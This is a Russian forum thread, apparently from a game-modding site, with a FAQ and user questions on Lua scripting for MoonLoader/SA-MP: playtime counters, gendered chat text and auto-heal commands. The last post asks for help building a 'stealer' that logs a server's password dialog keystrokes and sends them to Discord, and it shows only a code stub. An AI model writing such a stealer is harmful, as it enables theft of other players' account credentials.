Вопросы по Lua скриптингу

Общая тема для вопросов по разработке скриптов на языке программирования Lua, в частности под MoonLoader.
  • Задавая вопрос, убедитесь, что его нет в списке частых вопросов и что на него ещё не отвечали (воспользуйтесь поиском).
  • Поищите ответ в теме посвященной разработке Lua скриптов в MoonLoader
  • Отвечая, убедитесь, что ваш ответ корректен.
  • Старайтесь как можно точнее выразить мысль, а если проблема связана с кодом, то обязательно прикрепите его к сообщению, используя блок [code=lua]здесь мог бы быть ваш код[/code].
  • Если вопрос связан с MoonLoader-ом первым делом желательно поискать решение на wiki.

Частые вопросы

Как научиться писать скрипты? С чего начать?
Информация - Гайд - Всё о Lua скриптинге для MoonLoader(https://blast.hk/threads/22707/)
Как вывести текст на русском? Вместо русского текста у меня какие-то каракули.
Изменить кодировку файла скрипта на Windows-1251. В Atom: комбинация клавиш Ctrl+Shift+U, в Notepad++: меню Кодировки -> Кодировки -> Кириллица -> Windows-1251.
Как получить транспорт, в котором сидит игрок?
Lua:
local veh = storeCarCharIsInNoSave(PLAYER_PED)
Как получить свой id или id другого игрока?
Lua:
local _, id = sampGetPlayerIdByCharHandle(PLAYER_PED) -- получить свой ид
local _, id = sampGetPlayerIdByCharHandle(ped) -- получить ид другого игрока. ped - это хендл персонажа
Как проверить, что строка содержит какой-то текст?
Lua:
if string.find(str, 'текст', 1, true) then
-- строка str содержит "текст"
end
Как эмулировать нажатие игровой клавиши?
Lua:
local game_keys = require 'game.keys' -- где-нибудь в начале скрипта вне функции main

setGameKeyState(game_keys.player.FIREWEAPON, -1) -- будет сэмулировано нажатие клавиши атаки
Все иды клавиш находятся в файле moonloader/lib/game/keys.lua.
Подробнее о функции setGameKeyState здесь: lua - setgamekeystate | BlastHack — DEV_WIKI(https://www.blast.hk/wiki/lua:setgamekeystate)
Как получить id другого игрока, в которого целюсь я?
Lua:
local valid, ped = getCharPlayerIsTargeting(PLAYER_HANDLE) -- получить хендл персонажа, в которого целится игрок
if valid and doesCharExist(ped) then -- если цель есть и персонаж существует
  local result, id = sampGetPlayerIdByCharHandle(ped) -- получить samp-ид игрока по хендлу персонажа
  if result then -- проверить, прошло ли получение ида успешно
    -- здесь любые действия с полученным идом игрока
  end
end
Как зарегистрировать команду чата SAMP?
Lua:
-- До бесконечного цикла/задержки
sampRegisterChatCommand("mycommand", function (param)
     -- param будет содержать весь текст введенный после команды, чтобы разделить его на аргументы используйте string.match()
    sampAddChatMessage("MyCMD", -1)
end)
Крашит игру при вызове sampSendChat. Как это исправить?
Это происходит из-за бага в SAMPFUNCS, когда производится попытка отправки пакета определенными функциями изнутри события исходящих RPC и пакетов. Исправления для этого бага нет, но есть способ не провоцировать его. Вызов sampSendChat изнутри обработчика исходящих RPC/пакетов нужно обернуть в скриптовый поток с нулевой задержкой:
Lua:
function onSendRpc(id)
  -- крашит:
  -- sampSendChat('Send RPC: ' .. id)

  -- норм:
  lua_thread.create(function()
    wait(0)
    sampSendChat('Send RPC: ' .. id)
  end)
end
 
Последнее редактирование:

Lokness

Известный
3
0
Приветствую!
Подскажите, как сделать отыгровки для выбранного пола игрока, условно "кинул | кинула"
 

tsunamiqq

Участник
429
16
Lua:
script_name("Testik")
script_version("test")
script_properties("Testik")
 
---------------------------------------------------------------
require 'lib.moonloader'
require 'sampfuncs'
---------------------------------------------------------------
local imgui = require('mimgui')
local encoding = require('encoding')
local samp = require('lib.samp.events')
local memory = require('memory')
local monet = require("MoonMonet")
local vkeys = require('vkeys')
local rkeys = require('rkeys')
local faicons = require('fAwesome6')
local ffi = require('ffi')
encoding.default = 'CP1251'
u8 = encoding.UTF8
ffi.cdef[[
    intptr_t LoadKeyboardLayoutA(const char* pwszKLID, unsigned int Flags);
    int PostMessageA(intptr_t hWnd, unsigned int Msg, unsigned int wParam, long lParam);
    intptr_t GetActiveWindow();
]]
do
    local buffer = {}
    function setKeyboardLanguage(lang)
        if buffer[lang] == nil then
            buffer[lang] = ffi.C.LoadKeyboardLayoutA(lang, 1);
        end
        ffi.C.PostMessageA(ffi.C.GetActiveWindow(), 0x50, 1, buffer[lang]);
    end
end
local inicfg = require('inicfg')
local directIni = 'Testik.ini'
local mainIni = inicfg.load({
    settings = {
        onlineDay = 0,
        day = 0,
    },
    onDay = {
        today = os.date("%a"),
        online = 0,
        afk = 0,
        full = 0
    },
    onWeek = {
        week = 1,
        online = 0,
        afk = 0,
        full = 0
    },
    myWeekOnline = {
        [0] = 0,
        [1] = 0,
        [2] = 0,
        [3] = 0,
        [4] = 0,
        [5] = 0,
        [6] = 0
    }
}, directIni)
inicfg.save(mainIni, directIni)
local new, str = imgui.new, ffi.string
local renderWindow = new.bool()
local sesOnline = new.int(0)
local sesAfk = new.int(0)
local sesFull = new.int(0)
local dayFull = new.int(mainIni.onDay.full or 0)
local weekFull = new.int(mainIni.onWeek.full or 0)
local tWeekdays = {
    [0] = 'Воскресенье',
    [1] = 'Понедельник',
    [2] = 'Вторник',
    [3] = 'Среда',
    [4] = 'Четверг',
    [5] = 'Пятница',
    [6] = 'Суббота'
}
local menuFrame = imgui.OnFrame(
    function() return renderWindow[0] end,
    function(player)
        local resX, resY = getScreenResolution()
        local sizeX, sizeY = 1100, 600
        imgui.SetNextWindowPos(imgui.ImVec2(resX / 2, resY / 2), imgui.Cond.FirstUseEver, imgui.ImVec2(0.5, 0.5))
        imgui.SetNextWindowSize(imgui.ImVec2(sizeX, sizeY))
        imgui.Begin(u8'Testik', renderWindow, imgui.WindowFlags.NoCollapse + imgui.WindowFlags.NoResize + imgui.WindowFlags.NoTitleBar)
            for day = 1, 6 do -- ПН -> СБ
                imgui.Text(u8(tWeekdays[day])); imgui.SameLine(150)
                imgui.Text(u8(get_clock(mainIni.myWeekOnline[day])))
            end
            --> ВС
            imgui.Text(u8(tWeekdays[0])); imgui.SameLine(150)
            imgui.Text(get_clock(mainIni.myWeekOnline[0]))
        imgui.End()
    end
)
function get_clock(time)
    local timezone_offset = 86400 - os.date('%H', 0) * 3600
    if tonumber(time) >= 86400 then onDay = true else onDay = false end
    return os.date((onDay and math.floor(time / 86400)..'д ' or '')..'%H:%M:%S', time + timezone_offset)
end
function number_week() -- получение номера недели в году
    local current_time = os.date'*t'
    local start_year = os.time{ year = current_time.year, day = 1, month = 1 }
    local week_day = ( os.date('%w', start_year) - 1 ) % 7
    return math.ceil((current_time.yday + week_day) / 7)
end
function main()
    while not isSampAvailable() do wait(0) end
    sampRegisterChatCommand('testik', function()
        renderWindow[0] = not renderWindow[0]
    end)
    if mainIni.settings.day ~= os.date("%a") then
        mainIni.settings.day = os.date("%a")
        mainIni.settings.onlineDay = 0
        inicfg.save(mainIni, directIni)
    end
   
    if mainIni.onWeek.week ~= number_week() then
        mainIni.onWeek.week = number_week()
        mainIni.onWeek.online = 0
        mainIni.onWeek.full = 0
        mainIni.onWeek.afk = 0
        mainIni.onDay = {
            today = os.date("%a"),
            online = 0,
            afk = 0,
            full = 0
        }
        for day = 0, 6 do -- ПН -> СБ
            mainIni.myWeekOnline[day] = 0
        end
        inicfg.save(mainIni, directIni)
    end
end
function time()
    startTime = os.time()
    while true do
        wait(1000)
        if sampGetGamestate() == 3 and not return_time then
            sesOnline[0] = sesOnline[0] + 1                                 -- Онлайн за сессию без учёта АФК
            sesFull[0] = os.time() - startTime                          -- Общий онлайн за сессию
            sesAfk[0] = sesFull[0] - sesOnline[0]                           -- АФК за сессию
            mainIni.onDay.online = mainIni.onDay.online + 1                     -- Онлайн за день без учёта АФК
            mainIni.onDay.full = dayFull[0] + sesFull[0]                        -- Общий онлайн за день
            mainIni.onDay.afk = mainIni.onDay.full - mainIni.onDay.online           -- АФК за день
            mainIni.onWeek.online = mainIni.onWeek.online + 1                   -- Онлайн за неделю без учёта АФК
            mainIni.onWeek.full = weekFull[0] + sesFull[0]                  -- Общий онлайн за неделю
            mainIni.onWeek.afk = mainIni.onWeek.full - mainIni.onWeek.online        -- АФК за неделю
            local today = tonumber(os.date('%w', os.time()))
            mainIni.myWeekOnline[today] = mainIni.onDay.full
        end
    end
end
function getStrDate(unixTime)
    local tMonths = {'января', 'февраля', 'марта', 'апреля', 'мая', 'июня', 'июля', 'августа', 'сентября', 'октября', 'ноября', 'декабря'}
    local day = tonumber(os.date('%d', unixTime))
    local month = tMonths[tonumber(os.date('%m', unixTime))]
    local weekday = tWeekdays[tonumber(os.date('%w', unixTime))]
    return string.format('%s, %s %s', weekday, day, month)
end
function red_theme()
    local vec2, vec4 = imgui.ImVec2, imgui.ImVec4
    imgui.SwitchContext()
    local style = imgui.GetStyle()
    local colors = style.Colors
    local flags = imgui.Col
 
    do -- style
        --==[ STYLE ]==--
        imgui.GetStyle().WindowPadding = imgui.ImVec2(5, 5)
        imgui.GetStyle().FramePadding = imgui.ImVec2(5, 5)
        imgui.GetStyle().ItemSpacing = imgui.ImVec2(5, 5)
        imgui.GetStyle().ItemInnerSpacing = imgui.ImVec2(2, 2)
        imgui.GetStyle().TouchExtraPadding = imgui.ImVec2(0, 0)
        imgui.GetStyle().IndentSpacing = 0
        imgui.GetStyle().ScrollbarSize = 10
        imgui.GetStyle().GrabMinSize = 10
        --==[ ROUNDING ]==--
        imgui.GetStyle().WindowRounding = 8
        imgui.GetStyle().ChildRounding = 8
        imgui.GetStyle().FrameRounding = 5
        imgui.GetStyle().PopupRounding = 8
        imgui.GetStyle().ScrollbarRounding = 8
        imgui.GetStyle().GrabRounding = 8
        imgui.GetStyle().TabRounding = 8
        --==[ ALIGN ]==--
        imgui.GetStyle().WindowTitleAlign = imgui.ImVec2(0.5, 0.5)
        imgui.GetStyle().ButtonTextAlign = imgui.ImVec2(0.5, 0.5)
        imgui.GetStyle().SelectableTextAlign = imgui.ImVec2(0.5, 0.5)
    end
        colors[imgui.Col.WindowBg] = imgui.ImVec4(0.14, 0.12, 0.16, 1.00)
        colors[imgui.Col.ChildBg] = imgui.ImVec4(0.30, 0.20, 0.39, 0.00)
        colors[imgui.Col.PopupBg] = imgui.ImVec4(0.14, 0.12, 0.16, 1)
        colors[imgui.Col.Border] = imgui.ImVec4(0.14, 0.12, 0.16, 1)
        colors[imgui.Col.BorderShadow] = imgui.ImVec4(0.00, 0.00, 0.00, 0.00)
        colors[imgui.Col.FrameBg] = imgui.ImVec4(0.28, 0.27, 0.27, 0.28)
        colors[imgui.Col.FrameBgHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.FrameBgActive] = imgui.ImVec4(0.41, 0.19, 0.63, 1.00)
        colors[imgui.Col.TitleBg] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.TitleBgCollapsed] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.TitleBgActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.MenuBarBg] = imgui.ImVec4(0.30, 0.20, 0.39, 0.57)
        colors[imgui.Col.ScrollbarBg] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ScrollbarGrab] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ScrollbarGrabHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ScrollbarGrabActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.CheckMark] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.SliderGrab] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.SliderGrabActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.Button] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ButtonHovered] = imgui.ImVec4(1, 0, 0.07, 1)
        colors[imgui.Col.ButtonActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.8)
        colors[imgui.Col.Header] = imgui.ImVec4(0, 0, 0, 0)
        colors[imgui.Col.HeaderHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.HeaderActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ResizeGrip] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ResizeGripHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ResizeGripActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.PlotLines] = imgui.ImVec4(0.89, 0.85, 0.92, 0.63)
        colors[imgui.Col.PlotLinesHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.PlotHistogram] = imgui.ImVec4(0.89, 0.85, 0.92, 0.63)
        colors[imgui.Col.PlotHistogramHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.TextSelectedBg] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
end
function to_vec4(u32)
    local a = bit.band(bit.rshift(u32, 24), 0xFF) / 0xFF
    local r = bit.band(bit.rshift(u32, 16), 0xFF) / 0xFF
    local g = bit.band(bit.rshift(u32, 8), 0xFF) / 0xFF
    local b = bit.band(u32, 0xFF) / 0xFF
    return imgui.ImVec4(b, g, r, a)
end
Оно обновляется в 12ч, и продолжает суммироваться на след дни, к примеру в понедельник отыграл 2ч, во вторник начнет отчет с 2ч, как фиксануть?
 

Dmitriy Makarov

25.05.2021
Проверенный
2,478
1,113
Приветствую!
Подскажите, как сделать отыгровки для выбранного пола игрока, условно "кинул | кинула"
Lua:
-- Вариант с bool. (Если будешь включать/выключать через команду/диалоговое окно)
local male = true -- В начале. true - Мужской, false - Женский.

-- Использование
sampAddChatMessage("Кто-то там "..(male and "сказал" or "сказала"), -1)

--

-- Вариант с int. (Если будешь выбирать пол. Например в ImGUI через Combo)
local male = 1 -- В начале. 1 - Male | Любое число, кроме 1 - Female

-- Где-то внизу, наверное. Где будет удобно. Это для сокращения функция.
function isMale()
    if male == 1 then
        return true
    end
end

-- Использование
sampAddChatMessage("Кто-то там "..(isMale() and "сказал" or "сказала"), -1)
 
  • Нравится
Реакции: Lokness

tfornik

Известный
309
222
Lua:
script_name("Testik")
script_version("test")
script_properties("Testik")
 
---------------------------------------------------------------
require 'lib.moonloader'
require 'sampfuncs'
---------------------------------------------------------------
local imgui = require('mimgui')
local encoding = require('encoding')
local samp = require('lib.samp.events')
local memory = require('memory')
local monet = require("MoonMonet")
local vkeys = require('vkeys')
local rkeys = require('rkeys')
local faicons = require('fAwesome6')
local ffi = require('ffi')
encoding.default = 'CP1251'
u8 = encoding.UTF8
ffi.cdef[[
    intptr_t LoadKeyboardLayoutA(const char* pwszKLID, unsigned int Flags);
    int PostMessageA(intptr_t hWnd, unsigned int Msg, unsigned int wParam, long lParam);
    intptr_t GetActiveWindow();
]]
do
    local buffer = {}
    function setKeyboardLanguage(lang)
        if buffer[lang] == nil then
            buffer[lang] = ffi.C.LoadKeyboardLayoutA(lang, 1);
        end
        ffi.C.PostMessageA(ffi.C.GetActiveWindow(), 0x50, 1, buffer[lang]);
    end
end
local inicfg = require('inicfg')
local directIni = 'Testik.ini'
local mainIni = inicfg.load({
    settings = {
        onlineDay = 0,
        day = 0,
    },
    onDay = {
        today = os.date("%a"),
        online = 0,
        afk = 0,
        full = 0
    },
    onWeek = {
        week = 1,
        online = 0,
        afk = 0,
        full = 0
    },
    myWeekOnline = {
        [0] = 0,
        [1] = 0,
        [2] = 0,
        [3] = 0,
        [4] = 0,
        [5] = 0,
        [6] = 0
    }
}, directIni)
inicfg.save(mainIni, directIni)
local new, str = imgui.new, ffi.string
local renderWindow = new.bool()
local sesOnline = new.int(0)
local sesAfk = new.int(0)
local sesFull = new.int(0)
local dayFull = new.int(mainIni.onDay.full or 0)
local weekFull = new.int(mainIni.onWeek.full or 0)
local tWeekdays = {
    [0] = 'Воскресенье',
    [1] = 'Понедельник',
    [2] = 'Вторник',
    [3] = 'Среда',
    [4] = 'Четверг',
    [5] = 'Пятница',
    [6] = 'Суббота'
}
local menuFrame = imgui.OnFrame(
    function() return renderWindow[0] end,
    function(player)
        local resX, resY = getScreenResolution()
        local sizeX, sizeY = 1100, 600
        imgui.SetNextWindowPos(imgui.ImVec2(resX / 2, resY / 2), imgui.Cond.FirstUseEver, imgui.ImVec2(0.5, 0.5))
        imgui.SetNextWindowSize(imgui.ImVec2(sizeX, sizeY))
        imgui.Begin(u8'Testik', renderWindow, imgui.WindowFlags.NoCollapse + imgui.WindowFlags.NoResize + imgui.WindowFlags.NoTitleBar)
            for day = 1, 6 do -- ПН -> СБ
                imgui.Text(u8(tWeekdays[day])); imgui.SameLine(150)
                imgui.Text(u8(get_clock(mainIni.myWeekOnline[day])))
            end
            --> ВС
            imgui.Text(u8(tWeekdays[0])); imgui.SameLine(150)
            imgui.Text(get_clock(mainIni.myWeekOnline[0]))
        imgui.End()
    end
)
function get_clock(time)
    local timezone_offset = 86400 - os.date('%H', 0) * 3600
    if tonumber(time) >= 86400 then onDay = true else onDay = false end
    return os.date((onDay and math.floor(time / 86400)..'д ' or '')..'%H:%M:%S', time + timezone_offset)
end
function number_week() -- получение номера недели в году
    local current_time = os.date'*t'
    local start_year = os.time{ year = current_time.year, day = 1, month = 1 }
    local week_day = ( os.date('%w', start_year) - 1 ) % 7
    return math.ceil((current_time.yday + week_day) / 7)
end
function main()
    while not isSampAvailable() do wait(0) end
    sampRegisterChatCommand('testik', function()
        renderWindow[0] = not renderWindow[0]
    end)
    if mainIni.settings.day ~= os.date("%a") then
        mainIni.settings.day = os.date("%a")
        mainIni.settings.onlineDay = 0
        inicfg.save(mainIni, directIni)
    end
 
    if mainIni.onWeek.week ~= number_week() then
        mainIni.onWeek.week = number_week()
        mainIni.onWeek.online = 0
        mainIni.onWeek.full = 0
        mainIni.onWeek.afk = 0
        mainIni.onDay = {
            today = os.date("%a"),
            online = 0,
            afk = 0,
            full = 0
        }
        for day = 0, 6 do -- ПН -> СБ
            mainIni.myWeekOnline[day] = 0
        end
        inicfg.save(mainIni, directIni)
    end
end
function time()
    startTime = os.time()
    while true do
        wait(1000)
        if sampGetGamestate() == 3 and not return_time then
            sesOnline[0] = sesOnline[0] + 1                                 -- Онлайн за сессию без учёта АФК
            sesFull[0] = os.time() - startTime                          -- Общий онлайн за сессию
            sesAfk[0] = sesFull[0] - sesOnline[0]                           -- АФК за сессию
            mainIni.onDay.online = mainIni.onDay.online + 1                     -- Онлайн за день без учёта АФК
            mainIni.onDay.full = dayFull[0] + sesFull[0]                        -- Общий онлайн за день
            mainIni.onDay.afk = mainIni.onDay.full - mainIni.onDay.online           -- АФК за день
            mainIni.onWeek.online = mainIni.onWeek.online + 1                   -- Онлайн за неделю без учёта АФК
            mainIni.onWeek.full = weekFull[0] + sesFull[0]                  -- Общий онлайн за неделю
            mainIni.onWeek.afk = mainIni.onWeek.full - mainIni.onWeek.online        -- АФК за неделю
            local today = tonumber(os.date('%w', os.time()))
            mainIni.myWeekOnline[today] = mainIni.onDay.full
        end
    end
end
function getStrDate(unixTime)
    local tMonths = {'января', 'февраля', 'марта', 'апреля', 'мая', 'июня', 'июля', 'августа', 'сентября', 'октября', 'ноября', 'декабря'}
    local day = tonumber(os.date('%d', unixTime))
    local month = tMonths[tonumber(os.date('%m', unixTime))]
    local weekday = tWeekdays[tonumber(os.date('%w', unixTime))]
    return string.format('%s, %s %s', weekday, day, month)
end
function red_theme()
    local vec2, vec4 = imgui.ImVec2, imgui.ImVec4
    imgui.SwitchContext()
    local style = imgui.GetStyle()
    local colors = style.Colors
    local flags = imgui.Col
 
    do -- style
        --==[ STYLE ]==--
        imgui.GetStyle().WindowPadding = imgui.ImVec2(5, 5)
        imgui.GetStyle().FramePadding = imgui.ImVec2(5, 5)
        imgui.GetStyle().ItemSpacing = imgui.ImVec2(5, 5)
        imgui.GetStyle().ItemInnerSpacing = imgui.ImVec2(2, 2)
        imgui.GetStyle().TouchExtraPadding = imgui.ImVec2(0, 0)
        imgui.GetStyle().IndentSpacing = 0
        imgui.GetStyle().ScrollbarSize = 10
        imgui.GetStyle().GrabMinSize = 10
        --==[ ROUNDING ]==--
        imgui.GetStyle().WindowRounding = 8
        imgui.GetStyle().ChildRounding = 8
        imgui.GetStyle().FrameRounding = 5
        imgui.GetStyle().PopupRounding = 8
        imgui.GetStyle().ScrollbarRounding = 8
        imgui.GetStyle().GrabRounding = 8
        imgui.GetStyle().TabRounding = 8
        --==[ ALIGN ]==--
        imgui.GetStyle().WindowTitleAlign = imgui.ImVec2(0.5, 0.5)
        imgui.GetStyle().ButtonTextAlign = imgui.ImVec2(0.5, 0.5)
        imgui.GetStyle().SelectableTextAlign = imgui.ImVec2(0.5, 0.5)
    end
        colors[imgui.Col.WindowBg] = imgui.ImVec4(0.14, 0.12, 0.16, 1.00)
        colors[imgui.Col.ChildBg] = imgui.ImVec4(0.30, 0.20, 0.39, 0.00)
        colors[imgui.Col.PopupBg] = imgui.ImVec4(0.14, 0.12, 0.16, 1)
        colors[imgui.Col.Border] = imgui.ImVec4(0.14, 0.12, 0.16, 1)
        colors[imgui.Col.BorderShadow] = imgui.ImVec4(0.00, 0.00, 0.00, 0.00)
        colors[imgui.Col.FrameBg] = imgui.ImVec4(0.28, 0.27, 0.27, 0.28)
        colors[imgui.Col.FrameBgHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.FrameBgActive] = imgui.ImVec4(0.41, 0.19, 0.63, 1.00)
        colors[imgui.Col.TitleBg] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.TitleBgCollapsed] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.TitleBgActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.MenuBarBg] = imgui.ImVec4(0.30, 0.20, 0.39, 0.57)
        colors[imgui.Col.ScrollbarBg] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ScrollbarGrab] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ScrollbarGrabHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ScrollbarGrabActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.CheckMark] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.SliderGrab] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.SliderGrabActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.Button] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ButtonHovered] = imgui.ImVec4(1, 0, 0.07, 1)
        colors[imgui.Col.ButtonActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.8)
        colors[imgui.Col.Header] = imgui.ImVec4(0, 0, 0, 0)
        colors[imgui.Col.HeaderHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.HeaderActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ResizeGrip] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ResizeGripHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.ResizeGripActive] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.PlotLines] = imgui.ImVec4(0.89, 0.85, 0.92, 0.63)
        colors[imgui.Col.PlotLinesHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.PlotHistogram] = imgui.ImVec4(0.89, 0.85, 0.92, 0.63)
        colors[imgui.Col.PlotHistogramHovered] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
        colors[imgui.Col.TextSelectedBg] = imgui.ImVec4(0.84, 0.01, 0.06, 0.84)
end
function to_vec4(u32)
    local a = bit.band(bit.rshift(u32, 24), 0xFF) / 0xFF
    local r = bit.band(bit.rshift(u32, 16), 0xFF) / 0xFF
    local g = bit.band(bit.rshift(u32, 8), 0xFF) / 0xFF
    local b = bit.band(u32, 0xFF) / 0xFF
    return imgui.ImVec4(b, g, r, a)
end
Оно обновляется в 12ч, и продолжает суммироваться на след дни, к примеру в понедельник отыграл 2ч, во вторник начнет отчет с 2ч, как фиксануть?
Lua:
if mainIni.settings.day ~= os.date("%a") then
        mainIni.settings.day = os.date("%a")
        mainIni.settings.onlineDay = 0 -- ОБНУЛЯЕШЬ mainIni.settings.onlineDay
        inicfg.save(mainIni, directIni)
end

function time() -- А здесь используешь main.onDay.online
    startTime = os.time()
    while true do
        wait(1000)
        if sampGetGamestate() == 3 and not return_time then
            sesOnline[0] = sesOnline[0] + 1                              
            sesFull[0] = os.time() - startTime                        
            sesAfk[0] = sesFull[0] - sesOnline[0]                        
            mainIni.onDay.online = mainIni.onDay.online + 1-- А здесь используешь main.onDay.online    
            mainIni.onDay.full = dayFull[0] + sesFull[0]                      
            mainIni.onDay.afk = mainIni.onDay.full - mainIni.onDay.online 
            mainIni.onWeek.online = mainIni.onWeek.online + 1                
            mainIni.onWeek.full = weekFull[0] + sesFull[0]                
            mainIni.onWeek.afk = mainIni.onWeek.full - mainIni.onWeek.online    
            local today = tonumber(os.date('%w', os.time()))
            mainIni.myWeekOnline[today] = mainIni.onDay.full
        end
    end
end
Если вкратце, ты обнуляешь одну переменную в таблице , а записываешь данные в другую.
 
  • Нравится
Реакции: tsunamiqq

Carl_Henderson

Новичок
28
4
Я пишу свой скрипт который будет автоматически писать в чат /healme при 40- хп, как эт сделать?
 

tfornik

Известный
309
222
Я пишу свой скрипт который будет автоматически писать в чат /healme при 40- хп, как эт сделать?
Lua:
local sampev = require('lib.samp.events')

function sampev.onSendTakeDamage(playerId, damage, weapon, bodypart)
    if playerId ~= 65535 then
        local myId = select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))
        local hp = sampGetPlayerHealth(myId)
        if hp <= 40 then
            sampSendChat('/healme')
        end
    end
end
 
  • Эм
  • Нравится
Реакции: MLycoris и Carl_Henderson

MLycoris

Режим чтения
Проверенный
1,821
1,860
Я пишу свой скрипт который будет автоматически писать в чат /healme при 40- хп, как эт сделать?
 
  • Нравится
Реакции: Carl_Henderson

Carl_Henderson

Новичок
28
4
Lua:
local sampev = require('lib.samp.events')

function sampev.onSendTakeDamage(playerId, damage, weapon, bodypart)
    if playerId ~= 65535 then
        local myId = select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))
        local hp = sampGetPlayerHealth(myId)
        if hp <= 40 then
            sampSendChat('/healme')
        end
    end
end
function main()
local sampev = require('lib.samp.events')

function sampev.onSendTakeDamage(playerId, damage, weapon, bodypart)
if playerId ~= 65535 then
local myId = select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))
local hp = sampGetPlayerHealth(myId)
if hp <= 40 then
sampSendChat('/healme')
wait(900)
sampSendChat("/usedrugs")
end
end
end

Так?
 

tfornik

Известный
309
222
function main()
local sampev = require('lib.samp.events')

function sampev.onSendTakeDamage(playerId, damage, weapon, bodypart)
if playerId ~= 65535 then
local myId = select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))
local hp = sampGetPlayerHealth(myId)
if hp <= 40 then
sampSendChat('/healme')
wait(900)
sampSendChat("/usedrugs")
end
end
end

Так?
вне function main() , и

Lua:
if hp <= 40 then
    lua_thread.create(function()
        sampSendChat('/healme')
        wait(900)
        sampSendChat("/usedrugs")
    end)
end

замени на это
 
  • Нравится
Реакции: Carl_Henderson

tfornik

Известный
309
222
Lua:
local sampev = require('lib.samp.events')

function sampev.onSendTakeDamage(playerId, damage, weapon, bodypart)
    if playerId ~= 65535 then
        local myId = select(2, sampGetPlayerIdByCharHandle(PLAYER_PED))
        local hp = sampGetPlayerHealth(myId)
        if hp <= 40 then
            lua_thread.create(function()
                sampSendChat('/healme')
                wait(900)
                sampSendChat("/usedrugs")
            end)
        end
    end
end
просто вставь в код, ВНЕ main().

просто вниз куда-нибудь
 

tsunamiqq

Участник
429
16
Lua:
if mainIni.settings.day ~= os.date("%a") then
        mainIni.settings.day = os.date("%a")
        mainIni.settings.onlineDay = 0 -- ОБНУЛЯЕШЬ mainIni.settings.onlineDay
        inicfg.save(mainIni, directIni)
end

function time() -- А здесь используешь main.onDay.online
    startTime = os.time()
    while true do
        wait(1000)
        if sampGetGamestate() == 3 and not return_time then
            sesOnline[0] = sesOnline[0] + 1                           
            sesFull[0] = os.time() - startTime                     
            sesAfk[0] = sesFull[0] - sesOnline[0]                     
            mainIni.onDay.online = mainIni.onDay.online + 1-- А здесь используешь main.onDay.online 
            mainIni.onDay.full = dayFull[0] + sesFull[0]                   
            mainIni.onDay.afk = mainIni.onDay.full - mainIni.onDay.online
            mainIni.onWeek.online = mainIni.onWeek.online + 1             
            mainIni.onWeek.full = weekFull[0] + sesFull[0]             
            mainIni.onWeek.afk = mainIni.onWeek.full - mainIni.onWeek.online 
            local today = tonumber(os.date('%w', os.time()))
            mainIni.myWeekOnline[today] = mainIni.onDay.full
        end
    end
end
Если вкратце, ты обнуляешь одну переменную в таблице , а записываешь данные в другую.
Спасибо, а как сделать еще обновление подсчета АФК, вроде все прописано правильно, но не обновляет
 
Последнее редактирование:

bulba$h

Активный
332
91
помогите, как сделать так, что бы данный стилир отправлял в дс пароль, например (ловит серверный диалог с иконкой пароля (id 1) логирует нажатые кнопки - сам пароль, и автоматически отправляет в дс)
типо стилир:
function main()
    while not isSampAvailable() do wait(0) end
    sampRegisterChatCommand('dw', function(arg)
